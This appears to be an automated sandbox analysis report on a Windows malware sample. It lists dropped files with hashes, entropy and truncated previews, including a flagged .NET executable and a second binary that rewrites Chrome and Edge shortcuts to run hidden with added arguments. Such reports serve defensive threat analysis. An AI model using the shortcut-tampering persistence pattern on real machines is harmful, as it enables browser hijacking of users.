Preview:	(()=>{"use strict";var e={1:(e,o)=>{Object.defineProperty(o,"__esModule",{value:!0}),o.newCwsPromotionalButtonCta=o.chromeToEdgeCwsButtonCtaMapping=void 0,o.chromeToEdgeCwsButtonCtaMapping={"...... ... Chrome":"...... ....","........ .. Chrome":".....",........:"..........",".......... .. Chrome":"..........","Chrome . .....":"...","Chrome .... ....":"....","Afegeix a Chrome":"Obt.n","Suprimeix de Chrome":"Suprimeix","P.idat do Chromu":"Z.skat","Odstranit z Chromu":"Odebrat","F.j til Chrome":"F.","Fjern fra Chrome":"Fjerne",Hinzuf.gen:"Abrufen","Aus Chrome entfernen":"Entfernen","Add to Chrome":"Get","Remove from Chrome":"Remove","A.adir a Chrome":"Obtener",Desinstalar:"Quitar","Agregar a Chrome":"Obtener","Eliminar de Chrome":"Quitar","Lisa Chrome'i":"Hangi","Chrome'ist eemaldamine":"Eemalda",.......H:"........","......... ... .. Chr

C:\Users\user\AppData\Local\Temp\scoped_dir8092_523394746\CRX_INSTALL\content_new.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (8604), with no line terminators
Category:	dropped
Size (bytes):	10388
Entropy (8bit):	6.174387413738973
Encrypted:	false
SSDEEP:	192:+ThBV4L3npstQp6VRtROQGZ0UyVg4jq4HWeGBnUi65Ep4HdlyKyjFN3EbmE1F4fn:+ThBVq3npozftROQIyVfjRZGB365Ey9+
MD5:	3DE1E7D989C232FC1B58F4E32DE15D64
SHA1:	42B152EA7E7F31A964914F344543B8BF14B5F558
SHA-256:	D4AA4602A1590A4B8A1BCE8B8D670264C9FB532ADC97A72BC10C43343650385A
SHA-512:	177E5BDF3A1149B0229B6297BAF7B122602F7BD753F96AA41CCF2D15B2BCF6AF368A39BB20336CCCE121645EC097F6BEDB94666C74ACB6174EB728FBFC43BC2A
Malicious:	false
Preview:	(()=>{"use strict";var e={1:(e,o)=>{Object.defineProperty(o,"__esModule",{value:!0}),o.newCwsPromotionalButtonCta=o.chromeToEdgeCwsButtonCtaMapping=void 0,o.chromeToEdgeCwsButtonCtaMapping={"...... ... Chrome":"...... ....","........ .. Chrome":".....",........:"..........",".......... .. Chrome":"..........","Chrome . .....":"...","Chrome .... ....":"....","Afegeix a Chrome":"Obt.n","Suprimeix de Chrome":"Suprimeix","P.idat do Chromu":"Z.skat","Odstranit z Chromu":"Odebrat","F.j til Chrome":"F.","Fjern fra Chrome":"Fjerne",Hinzuf.gen:"Abrufen","Aus Chrome entfernen":"Entfernen","Add to Chrome":"Get","Remove from Chrome":"Remove","A.adir a Chrome":"Obtener",Desinstalar:"Quitar","Agregar a Chrome":"Obtener","Eliminar de Chrome":"Quitar","Lisa Chrome'i":"Hangi","Chrome'ist eemaldamine":"Eemalda",.......H:"........","......... ... .. Chr

C:\Users\user\AppData\Local\Temp\scoped_dir8092_523394746\CRX_INSTALL\manifest.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	962
Entropy (8bit):	5.698567446030411
Encrypted:	false
SSDEEP:	24:1Hg9+D3DRnbuF2+sUrzUu+Y9VwE+Fg41T1O:NBqY+6E+F7JO
MD5:	E805E9E69FD6ECDCA65136957B1FB3BE
SHA1:	2356F60884130C86A45D4B232A26062C7830E622
SHA-256:	5694C91F7D165C6F25DAF0825C18B373B0A81EA122C89DA60438CD487455FD6A
SHA-512:	049662EF470D2B9E030A06006894041AE6F787449E4AB1FBF4959ADCB88C6BB87A957490212697815BB3627763C01B7B243CF4E3C4620173A95795884D998A75
Malicious:	false
Preview:	{.. "content_scripts": [ {.. "js": [ "content.js" ],.. "matches": [ "https://chrome.google.com/webstore/" ].. }, {.. "js": [ "content_new.js" ],.. "matches": [ "https://chromewebstore.google.com/" ].. } ],.. "description": "Edge relevant text changes on select websites to improve user experience and precisely surfaces the action they want to take.",.. "key": "MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAu06p2Mjoy6yJDUUjCe8Hnqvtmjll73XqcbylxFZZWe+MCEAEK+1D0Nxrp0+IuWJL02CU3jbuR5KrJYoezA36M1oSGY5lIF/9NhXWEx5GrosxcBjxqEsdWv/eDoOOEbIvIO0ziMv7T1SUnmAA07wwq8DXWYuwlkZU/PA0Mxx0aNZ5+QyMfYqRmMpwxkwPG8gyU7kmacxgCY1v7PmmZo1vSIEOBYrxl064w5Q6s/dpalSJM9qeRnvRMLsszGY/J2bjQ1F0O2JfIlBjCOUg/89+U8ZJ1mObOFrKO4um8QnenXtH0WGmsvb5qBNrvbWNPuFgr2+w5JYlpSQ+O8zUCb8QZwIDAQAB",.. "manifest_version": 3,.. "name": "Edge relevant text changes",.. "update_url": "https://edge.microsoft.com/extensionwebstorebase/v1/crx",.. "version": "1.2.1"..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8092_523394746\e9cd6829-fbd7-41ae-b906-daeaa5ab9731.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	11185
Entropy (8bit):	7.951995436832936
Encrypted:	false
SSDEEP:	192:YEKh1jNlwQbamjq6Bcykrs3kAVg55GzVQM5F+XwsxNv7/lsoltBq0WG4ZeJTmrRb:fKT/BAzA05Gn5F+XV7NNltrWG4kJTm1b
MD5:	78E47DDA17341BED7BE45DCCFD89AC87
SHA1:	1AFDE30E46997452D11E4A2ADBBF35CCE7A1404F
SHA-256:	67D161098BE68CD24FEBC0C7B48F515F199DDA72F20AE3BBB97FCF2542BB0550
SHA-512:	9574A66D3756540479DC955C4057144283E09CAE11CE11EBCE801053BB48E536E67DC823B91895A9E3EE8D3CB27C065D5E9030C39A26CBF3F201348385B418A5
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........N.......E#......9e.u.q...VYY..@.+.C..k.O..bK.`..6.G..%.....3Z...e _.6....F..1p..K.Z......./ .3...OT..`..0...Y...FT..43.th.y...}....p.L...2S.&i.`..o...f.oH.....N..:..ijT.3.F{.0.,.f?'f.CQt;b_"Pc.. ..~S.I.c.8Z.;.....{G.a......k...>.`.o..%.$>;.....g.............jg?.R..@.:..........&..{...x@.Py..;kT....%F".S..w...N....9...A..@X.t!i.@..1;......1E..X.....[.~$....J......;=T.;)k..Y...$......S......M.P..P..>..=..u.....2p...w.9..1qw.a\A..Vj .C.....A..Cf1.r6.A...L. _m...[..l.Wr_../.. .B..9!.!+..ZG.K.......0.."0....H.............0.........^SUd%Q.L].......Cl2o...\[.....'*...;R=....N.C5....d. .....J.C>u.kr..Y..syJC.XS.q..E.n?....(G.5..)2.G..!.M.SS.{..U....!.EE..M[.#qs.A.1...g)nQ.c..G....Bd..7... .O.BI..KXQ..4.d.K.0......g.....-p....Z.E{...M&.~n.TE7..{0....5.#.C+3.y)pd9.e.........@..3.9..B.....I....2nX........2.?.~..S....]G.N.....Lr.O.Ve....9..D1.G..W)...P.?=.#..7.R.lz..a.wX.e..h.h.~....v..RP.@X....d.G

C:\Users\user\AppData\Local\Temp\zcezeaqsuhi.exe

Download File

Process:	C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe
File Type:	PE32+ executable (GUI) x86-64 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	66560
Entropy (8bit):	5.975999518529779
Encrypted:	false
SSDEEP:	1536:uk9UKEW4IR88+uePp+slFzKkQoAbNQvmG1+DwwQNmKaXhjD:uk9UKEk88+uu4VoAY+i9KP
MD5:	8C4465565BB876235F68BCDDCCA4F3A7
SHA1:	93753649FAFE334D2BD1C5C96027C66BD6CFBC6C
SHA-256:	693BB07DAE2270661837D13B282ADAB93B5213659624B1899FB4E5354F38B80E
SHA-512:	F31D35DEDB065C9A1D93051E1353458E8B7E6B6E62E8A060942111E4CD973A7292B9013D2DDF13DE97603F6A97EDE3F07C56A24CEEC995E030BB30058C04C643
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d................."...0.................. .....@..... .......................@............`...@......@............... ............................... ..............................0...8............................................................ ..H............text........ ...................... ..`.rsrc........ ......................@..@........................................H....... !...............-..0............................................0..L.......(....(.....~......i .....@(..........i(..........(....(....t....o.....(......(.....~....-.r...p.....(....o....s.........~.....~...........V(....r7..p~....o.....~......(....Vs....(....t.........*..BSJB............v4.0.30319......l.......#~..\.......#Strings....T...<...#US.........#GUID.......@...#Blob...........W..........3........!...............................................................

C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe

Download File

Process:	C:\Users\user\Desktop\zlONcFaXkc.exe
File Type:	PE32+ executable (GUI) x86-64 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	648192
Entropy (8bit):	7.996292878849897
Encrypted:	true
SSDEEP:	12288:NgJ7AuurlRyI4mfcYmFlEBJo8S21j7YIwIPfZ3FjILSdAsBJWWZ8lz/:NgJ7ABrlCTBFlEBJNYpIZ3Fw0AEJWWZM
MD5:	1C762A2CD186F1CDE4B9E5D743ECA3B5
SHA1:	A0EFF9FA7B5ADA96C8ACF483DE9519A9E2548D80
SHA-256:	A5B0D190FC09CD5C1EA07FA6B12A7DD4AB5F517C778FB60E4E14060E00DDECC8
SHA-512:	D43EEC5905F9715C6B342232C2432BA1E91ABE4EE514CCDC45706A7FFEDE2A1CF5589C0DA7A0F5D6C70A8A26AFAD9394AA93222F475BE4797607D7C0208D154A
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d..............."...0.................. .....@..... ....................... ............`...@......@............... ..................................\...........................d,............................................................... ..H............text........ ...................... ..`.rsrc...\...........................@..@........................................H.......D!.. ............................................................0.......... <........%.....(....s................o....&..(.......s..................o....&..(...+(...+(........r...po......."...(......rM..p(..........o....&...,..o......,..o..............<.X....................~......(....Vs....(....t............BSJB............v4.0.30319......l...t...#~..........#Strings........d...#US.0.......#GUID...@.......#Blob...........W..!.......3........&...........................

C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe:Zone.Identifier

Download File

Process:	C:\Users\user\Desktop\zlONcFaXkc.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	false
Preview:	[ZoneTransfer]....ZoneId=0

C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\Google Chrome.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\zcezeaqsuhi.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Description string, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:41 2023, mtime=Tue Oct 3 10:50:01 2023, atime=Wed Sep 27 04:28:27 2023, length=3242272, window=hide
Category:	dropped
Size (bytes):	2434
Entropy (8bit):	3.582602984106799
Encrypted:	false
SSDEEP:	48:8SLdpT63ERYrnvDdAKRkdA5q+9Jq87dAKR+/KRllygP:8SbEDNly
MD5:	034ED353BD05642C02D0C5B1FCD3A5F7
SHA1:	E0CA4A4E46CF50A37390716004A8921A6C4FEADE
SHA-256:	F517AE8FE83B88D34D5A97666ED2236B554C9C8183A2947C7A52311AF7F27F9B
SHA-512:	BA59AAC97523FE6F3EBD316DEFED032506EF6322C5EB7A78EFCA4A118FBE247456B87B93B6ECD01BE0D0447205236219A5EB9AB7536B8F96C4467DF91707217B
Malicious:	false
Preview:	L..................F.@.. ......,....Tb.........q.... y1.....................#....P.O. .:i.....+00.../C:\.....................1.....CW}W..PROGRA~1..t......O.ICW}W....B...............J.....7...P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VCW.W....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VCW.V....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VCW.W..........................."&.A.p.p.l.i.c.a.t.i.o.n.....`.2. y1.;W.+ .chrome.exe..F......CW.VCW.W..........................,.6.c.h.r.o.m.e...e.x.e.......d...............-.......c............F.......C:\Program Files\Google\Chrome\Application\chrome.exe....A.c.c.e.s.s. .t.h.e. .I.n.t.e.r.n.e.t.G.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.?. .-

C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\Microsoft Edge.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\zcezeaqsuhi.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Description string, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Thu Aug 5 21:41:46 2021, mtime=Tue Oct 3 10:48:05 2023, atime=Thu Aug 5 05:45:01 2021, length=3311504, window=hide
Category:	dropped
Size (bytes):	2504
Entropy (8bit):	3.6769571281010167
Encrypted:	false
SSDEEP:	48:8UZndO5fLswOnzTdRdJq+9Jq5dLXuHj0PkZyl7:88+uD0PkZy
MD5:	B515E9D62DD909B33197149826966C12
SHA1:	FA5355B0BA98544BCB58B00576EBC71A79F8CE74
SHA-256:	39DB11D5A4D5473DF27E916CE054EB7A939E945DB3803978B754326D7C8AF9C6
SHA-512:	5B8FBCA04BC9B54780CEC2EE6B5229DFCDFD0A797D3C4AF70785D5A90C0A65BEE9C44058D257E08E73BEE4A08E42A3B00658D54D4249480A0E158D9F57A33F79
Malicious:	false
Preview:	L..................F.@.. .....\|.K.....x......zj.....2.....................1....P.O. .:i.....+00.../C:\.....................1.....CW.X..PROGRA~2.........O.ICW.X....................V.......E.P.r.o.g.r.a.m. .F.i.l.e.s. .(.x.8.6.)...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.8.1.7.....\.1.....CW.?..MICROS~1..D......(Ux.CW.U..........................w.o.M.i.c.r.o.s.o.f.t.....N.1.....CW.?0.Edge..:.......S8.CW.U...........................f .E.d.g.e.....`.1.....CW.H0.APPLIC~1..H.......S8.CW.U...........................L).A.p.p.l.i.c.a.t.i.o.n.....`.2...2..S.5 .msedge.exe..F.......S8.CW.V...........................t..m.s.e.d.g.e...e.x.e.......k...............-.......j............F.......C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe....B.r.o.w.s.e. .t.h.e. .w.e.b.N.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s. .(.x.8.6.).\.M.i.c.r.o.s.o.f.t.\.E.d.g.e.\.A.p.p.l.i.c.a.t.i.o.n.\.m.s.e.d.g.e...e.x.e.1.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s. .(.x.8.6.).\.M.i.c.r.o.s.o.f.t.

C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar\Google Chrome.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\zcezeaqsuhi.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Description string, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:41 2023, mtime=Tue Oct 3 09:48:42 2023, atime=Wed Sep 27 04:28:27 2023, length=3242272, window=hide
Category:	dropped
Size (bytes):	2475
Entropy (8bit):	3.613362154845889
Encrypted:	false
SSDEEP:	48:8S7dBT6DpRYrnvs4dAKRkdA5q+9Jq87dAKR+/KRlay8Ec:8Snh5Nayd
MD5:	6503AF6A99B86A6AEAA48110A934F303
SHA1:	F243FD8C39CD1B2A1BBD6711252B4D75B1E03378
SHA-256:	1F05F2DDE310E7FCA681F6E832DB95B1798D4FC7904B69B12865C154B4CE1CEC
SHA-512:	6C504B54427A8E72BB8EBB31B6B504ABD4DE943457984B1BDFBD4E41CE025E5DD6D6B3F7F973152B4366266FDCF6BEF9D543656E5568162A7B7D674C81C2F7FB
Malicious:	false
Preview:	L..................F.@.. ......,.....=.,.......q.... y1.....................#....P.O. .:i.....+00.../C:\.....................1.....CW.V..PROGRA~1..t......O.ICW.V....B...............J.....p+j.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VCW.V....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VCW.V....M.....................G-..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VCW.V..........................."&.A.p.p.l.i.c.a.t.i.o.n.....`.2. y1.;W.+ .chrome.exe..F......CW.VCW.V..........................,.6.c.h.r.o.m.e...e.x.e.......d...............-.......c............F.......C:\Program Files\Google\Chrome\Application\chrome.exe....A.c.c.e.s.s. .t.h.e. .I.n.t.e.r.n.e.t.M.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

C:\Windows\appcompat\Programs\Amcache.hve

Download File

Process:	C:\Windows\System32\WerFault.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	1835008
Entropy (8bit):	4.4656152228699755
Encrypted:	false
SSDEEP:	6144:uIXfpi67eLPU9skLmb0b4/WSPKaJG8nAgejZMMhA2gX4WABl0uNfdwBCswSbP:jXD94/WlLZMM6YFH5+P
MD5:	A1C40A0A3AE86423373F25F086CA9767
SHA1:	CFC62061098EA2BEEB14555732B3A13A62B5B6F6
SHA-256:	132C799B709C6D71419A3CB2A9534D9652E1A82E3ABE9480835F8FB13E83B0A8
SHA-512:	F7DAA920B087DF9DD37999C2CEEC92D4939A660C94DF0523845961DCADD2CC2541F61F972C85E80ED6932EF66D9B9FE00F41AA8380951D60DAB66E043360AE0D
Malicious:	false
Preview:	regf6...6....\.Z.................... ...........\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e....c...b...#.......c...b...#...........c...b...#......rmtm:..................................................................................................................................................................................................................................................................................................................................................]..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Chrome Cache Entry: 514

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1746)
Category:	downloaded
Size (bytes):	163891
Entropy (8bit):	5.55061820245277
Encrypted:	false
SSDEEP:	3072:S0eiNiuzs8v4HHKWY8s1BgP4IDQ9GURWu8zylA/u8PemUPhDlaY/ADiZ65LpK629:S0eMhzvwHHKWY8s1BgP4IDQ9GURWu8UD
MD5:	0282D5C4C6038FCEB2FF8607EDAC81A4
SHA1:	62EBF05C33F8A3115C208BB4D5CE9B38F6D06447
SHA-256:	AAAF17E8ED9C8DD5D1B69C8BBB617600A768256654C076F760E09C6047973371
SHA-512:	E21D25042E41527B62E80F9D9B82B85B915BA6D0698B2FFA5D8D59115F764770D1DE2108B72D82D57BFB7A8D4406FB53D091C1DC6D8BD03BED3BCA29CEFD0EAD
Malicious:	false
URL:	"https://www.gstatic.com/og/_/js/k=og.qtm.en_US.oT1FwJRCVC4.2019.O/rt=j/m=q_dnp,qmd,qcwid,qapid,qald,q_dg/exm=qaaw,qabr,qadd,qaid,qalo,qebr,qein,qhaw,qhawgm3,qhba,qhbr,qhbrgm3,qhch,qhchgm3,qhga,qhid,qhidgm3,qhin,qhlo,qhlogm3,qhmn,qhpc,qhsf,qhsfgm3,qhtt/d=1/ed=1/rs=AA2YrTvBynad-nWEy1xIb9j1w6LpLOF6IQ"
Preview:	this.gbar_=this.gbar_\|\|{};(function(_){var window=this;.try{._.nj=function(a,b,c){return c?a\|b:a&~b};_.oj=function(a,b,c,d){a=_.hb(a,b,c,d);return Array.isArray(a)?a:_.lc};_.pj=function(a,b){a=_.nj(a,2,!!(2&b));a=_.nj(a,32,!0);return a=_.nj(a,2048,!1)};_.qj=function(a,b){0===a&&(a=_.pj(a,b));return a=_.nj(a,1,!0)};_.rj=function(a){return!!(2&a)&&!!(4&a)\|\|!!(2048&a)};_.sj=function(a,b,c){32&b&&c\|\|(a=_.nj(a,32,!1));return a};._.tj=function(a,b,c,d,e,f){var g=!!(2&b),h=g?1:2;const k=1===h;h=2===h;e=!!e;f&&(f=!g);g=_.oj(a,b,d);var l=g[_.v]\|0;const n=!!(4&l);if(!n){l=_.qj(l,b);var p=g,r=b,t;(t=!!(2&l))&&(r=_.nj(r,2,!0));let C=!t,X=!0,P=0,H=0;for(;P<p.length;P++){const O=_.Sa(p[P],c,r);if(O instanceof c){if(!t){const Fa=!!((O.ma[_.v]\|0)&2);C&&(C=!Fa);X&&(X=Fa)}p[H++]=O}}H<P&&(p.length=H);l=_.nj(l,4,!0);l=_.nj(l,16,X);l=_.nj(l,8,C);_.wa(p,l);t&&Object.freeze(p)}c=!!(8&l)\|\|k&&!g.length;if(f&&!c){_.rj(l)&&(g=_.va(g),l=_.pj(l,.b),b=_.gb(a,b,d,g));f=g;c=l;for(p=0;p<f.length;p++)l=f[p],r=_.eb(l),l

Chrome Cache Entry: 515

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (768)
Category:	downloaded
Size (bytes):	773
Entropy (8bit):	5.134023978342734
Encrypted:	false
SSDEEP:	24:PMMEMR+gsf7BHslgT9lCuABuoB7HHHHHHHYqmffffffo:PMdh7KlgZ01BuSEqmffffffo
MD5:	70EFADA5361E412BDB7CA6A1BF0D6609
SHA1:	0523C747AD8ECE0E5AE607AC8276C7A855163F92
SHA-256:	D52F169C7F9C8AE44709E78A86FA500273B91136322DC10B40C4C8F41808D4BD
SHA-512:	884CDEAB7048EDDF4247E2CF7EFD235D3C2741240123D28CF917C51D69AB8A9BAFDA6A48EF8963498DD247C3F6EA6A42B790626200BA85FB455397CA0D27600E
Malicious:	false
URL:	https://www.google.com/complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw
Preview:	)]}'.["",["nyt connections hints april 23","triston casas injury","rediscover kanto pokemon go","matterport costar","fortnite update patch notes","california clear airports","kia nba awards finalists","spacex rocket launch"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChgIkk4SEwoRVHJlbmRpbmcgc2VhcmNoZXM\u003d","google:suggestdetail":[{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002}],"google:suggestrelevance":[1257,1256,1255,1254,1253,1252,1251,1250],"google:suggestsubtypes":[[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362]],"google:suggesttype":["QUERY","QUERY","QUERY","QUERY","QUERY","QUERY","QUERY","QUERY"]}]

Chrome Cache Entry: 516

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	29
Entropy (8bit):	3.9353986674667634
Encrypted:	false
SSDEEP:	3:VQAOx/1n:VQAOd1n
MD5:	6FED308183D5DFC421602548615204AF
SHA1:	0A3F484AAA41A60970BA92A9AC13523A1D79B4D5
SHA-256:	4B8288C468BCFFF9B23B2A5FF38B58087CD8A6263315899DD3E249A3F7D4AB2D
SHA-512:	A2F7627379F24FEC8DC2C472A9200F6736147172D36A77D71C7C1916C0F8BDD843E36E70D43B5DC5FAABAE8FDD01DD088D389D8AE56ED1F591101F09135D02F5
Malicious:	false
URL:	https://www.google.com/async/newtab_promos
Preview:	)]}'.{"update":{"promos":{}}}

Chrome Cache Entry: 517

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65531)
Category:	downloaded
Size (bytes):	139820
Entropy (8bit):	5.440970939739768
Encrypted:	false
SSDEEP:	1536:yMRA4aAKJXjPInWWt/usD98kiHLnRA0zqevcZyjhaV+trbbbhYxvdU:eSKJou8TMyer0shCO
MD5:	CD4F4AF48277C4E849F857684C0E1551
SHA1:	654EE6A7C239627427EB33F98818AB66E10A3017
SHA-256:	55B0D67D50169578CAAADDAE4B38294BA3F4DE5172FA247B064DB3B3CA6D2C2F
SHA-512:	0A66AD36B62F350CE1797846203EA6A43F7489B9B05A9971B1ED89A0766F393920354A7534F669A2C6A8A640FB2B09C61243CA780C75287D625A0E568F27F6A7
Malicious:	false
URL:	https://www.google.com/async/newtab_ogb?hl=en-US&async=fixed:0
Preview:	)]}'.{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ra gb_ib gb_Ud gb_od\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e\u003cdiv class\u003d\"gb_Id\"\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_sd gb_ld gb_yd gb_xd\"\u003e\u003cdiv class\u003d\"gb_rd gb_hd\"\u003e\u003cdiv class\u003d\"gb_Pc gb_r\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M3 18h18v-2H3v2zm0-5h18v-2H3v2zm0-7v2h18V6H3z\"\u003e\u003c\/path\u003e\u003c\/svg\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_Pc gb_Sc gb_r\" aria-label\u003d\"Go back\" title\u003d\"Go back\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M20 11H7.83l5.59-5.59L12 4l-8 8 8 8 1.41-1.

Chrome Cache Entry: 518

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (3572), with no line terminators
Category:	downloaded
Size (bytes):	3572
Entropy (8bit):	5.150542995862274
Encrypted:	false
SSDEEP:	96:RJYrcoiktfqqMghOKTEzNx8BSIMw591g8IOl8u8i8DF+Ks:wkktfqqMghxlg8Ig8u78D2
MD5:	88BC8C86A83B9BD8EDA6FDF225CDC8DD
SHA1:	473D84930F027A365278C15282725A69721F4B18
SHA-256:	47D960E93D9E7AB4C760A09DA0AA5E6549A8355AD5C0BA8476D4269F4FBDB354
SHA-512:	3BC486D908160D297AD3028C27177A9C41A1D87EF29A456058265FAF74A1DA069D3B0578F05A79F866C2DB752D5E0E42D179158BD62251D4FDA601A7CBA7CC4D
Malicious:	false
URL:	"https://www.gstatic.com/og/_/ss/k=og.qtm.T5bVtXo12IQ.L.W.O/m=qmd,qcwid/excm=qaaw,qabr,qadd,qaid,qalo,qebr,qein,qhaw,qhawgm3,qhba,qhbr,qhbrgm3,qhch,qhchgm3,qhga,qhid,qhidgm3,qhin,qhlo,qhlogm3,qhmn,qhpc,qhsf,qhsfgm3,qhtt/d=1/ed=1/ct=zgms/rs=AA2YrTssrVR1lBtzoy_MObv1DSp-vWG36A"
Preview:	.gb_3e{background:rgba(60,64,67,.9);-webkit-border-radius:4px;border-radius:4px;color:#fff;font:500 12px "Roboto",arial,sans-serif;letter-spacing:.8px;line-height:16px;margin-top:4px;min-height:14px;padding:4px 8px;position:absolute;z-index:1000;-webkit-font-smoothing:antialiased}.gb_Hc{text-align:left}.gb_Hc>*{color:#bdc1c6;line-height:16px}.gb_Hc div:first-child{color:white}.gb_qa{background:none;border:1px solid transparent;-webkit-border-radius:50%;border-radius:50%;-webkit-box-sizing:border-box;box-sizing:border-box;cursor:pointer;height:40px;margin:8px;outline:none;padding:1px;position:absolute;right:0;top:0;width:40px}.gb_qa:hover{background-color:rgba(68,71,70,.08)}.gb_qa:focus,.gb_qa:active{background-color:rgba(68,71,70,.12)}.gb_qa:focus-visible{border-color:#0b57d0;outline:1px solid 